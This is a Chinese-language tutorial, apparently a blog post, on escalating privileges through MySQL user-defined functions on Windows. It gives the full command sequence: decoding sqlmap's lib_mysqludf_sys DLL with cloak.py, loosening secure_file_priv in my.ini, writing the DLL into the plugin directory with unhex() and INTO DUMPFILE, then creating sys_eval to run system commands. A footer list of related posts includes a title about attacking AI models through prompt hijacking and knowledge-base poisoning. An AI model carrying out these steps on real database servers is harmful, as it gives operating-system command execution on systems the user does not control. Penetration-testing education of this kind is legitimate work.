windwos下mysql的udf提权

MySql UDF提权介绍

UDF(User Defined Functions)即用户自定义函数,通过这种方式可以实现命令执行,其原理是通过lib_mysqludf_sys提供的函数可以执行系统命令 攻击场景:同之前利用日志写WebShell的场景,即堆叠注入或MySQL终端权限或类似phpMyAdmin数据库管理工具后台权限等

UDF的几个关键函数

sys_eval():执行任意命令,并将输出返回

sys_exec():执行任意命令,并将返回码返回

sys_get():获取一个环境变量

sys set():创建或修改一个环境变量

UDF文件获取的方式

复制代码
https://github.com/mysqludf/lib_mysqludf_sys

sqlmap工具中的UDF文件

sqlmap下:GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

sqlmap中的UDF文件位于sqlmap/data/udf/mysqI/目录中,该文件经过编码,需要使用sqlmap/extra/cloak目录下的cloak.py文件进行解码

liunx:

复制代码
python cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys.so

windwos:

复制代码
python cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys.dll

dumpfile语法

dumpfile:功能、语法及限制同outfile,但一次只导出一行内容

基本语法: select列名 from table where语句 intodumpfile '目标文件'option;

两者区别

outfile可导出多行数据,而dumpfile只导出一行outfile在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

查看路径

用phpstudy的Extensions\MySQL5.7.26\bin\mysql.exe客户端程序,通过获取代的账号密码登录mysql服务端

查看mysql服务器公共库路径

复制代码
show variables like 'plugin%';        

查看secure_file_priv值是否为空

复制代码
show global variables like 'secure%'; 

去查看它的设置,发现设置为NULL,secure_file_priv为NULL是禁止导出文件的意思。怪不得无法导出十六进制,那我们就去设置一下吧。我们把secure_file_priv设置为secure_file_priv=

那么我们可以通过修改my.ini去设置secure_file_priv 。

查看mysql安装路径

复制代码
select @@basedir;

然后访问这个地址,拿到my.ini

然后我们打开my.ini(以记事本方式打开即可)

添加下面标红的语句,保存退出。

secure_file_priv=

然后再查看一下,发现secure_file_priv已经改过来了

确定平台是64位还是32位

复制代码
show variables like '%version_%';

将udf.dll写入到plugin目录下

先在Mysql根目录中国新建lib\plugin的子目录,再往mysql的plugin目录中写UDF文件

复制代码
select unhex('xxx') into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys.dll';

注意: unhex()函数值就是UDF文件的Hex值,在Linux下可以使用hexdump命令获取,在Windows下使用WinHex可以获取得到 利用dumpfile才能将原文件数据原封不动地写到指定文件中

WinHex

WinHex是一款16进制的文本编辑器与磁盘编辑软件。可以进行Hex和ASCII编码的编辑与修改,支持多文件搜寻替换功能模式,一般运算和逻辑运算,磁盘磁区的编辑,文件比对和分析功能 下载地址: 【WinHex下载】2024年最新官方正式版WinHex 免费下载 - 腾讯软件中心官网 这里用WinHex打开获取lib_mysqludf_sys.dll文件Hex数据

名字执行

创建函数

复制代码
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

执行

复制代码
select sys_eval("whoami");
相关推荐
leagsoft_100311 小时前
从“策略看不清”到“风险可收敛”:某高端精密制造企业的网络安全策略治理实践
网络·web安全·制造
白帽小阳1 天前
2026前端面试题!(附答案及解析)
javascript·网络·python·安全·web安全·网络安全·护网行动
白帽小阳1 天前
[特殊字符]【2026最新】零基础入门学网络安全(详细路线图),看这篇就够了!
学习·安全·web安全·网络安全·安全运营·学习路线·web渗透
HackTwoHub1 天前
AI大模型攻击思路,涵盖提示词劫持、知识库投毒、多语种混淆 + 身份伪装、诱导 AI 输出涉密后台核心配置
人工智能·安全·web安全·网络安全·自动化·系统安全·安全架构
2601_957174652 天前
零基础学网络安全能学好吗
安全·web安全
Chengbei112 天前
VMware Workstation Pro 26H1免费虚拟化利器
运维·安全·web安全·自动化·系统安全·apache·安全架构
云水一下3 天前
DVWA从入门到精通(十八):Cryptography(密码学问题)
web安全·密码学·dvwa
糖果店的幽灵3 天前
安全测试从入门到精通 - 环境搭建与基础工具选择
安全·web安全
云水一下4 天前
DVWA从入门到精通(十七):Open HTTP Redirect(开放重定向)
web安全·dvwa·开放重定向
txg6664 天前
网络安全领域简报(2026年7月3日—10日)
安全·web安全·网络安全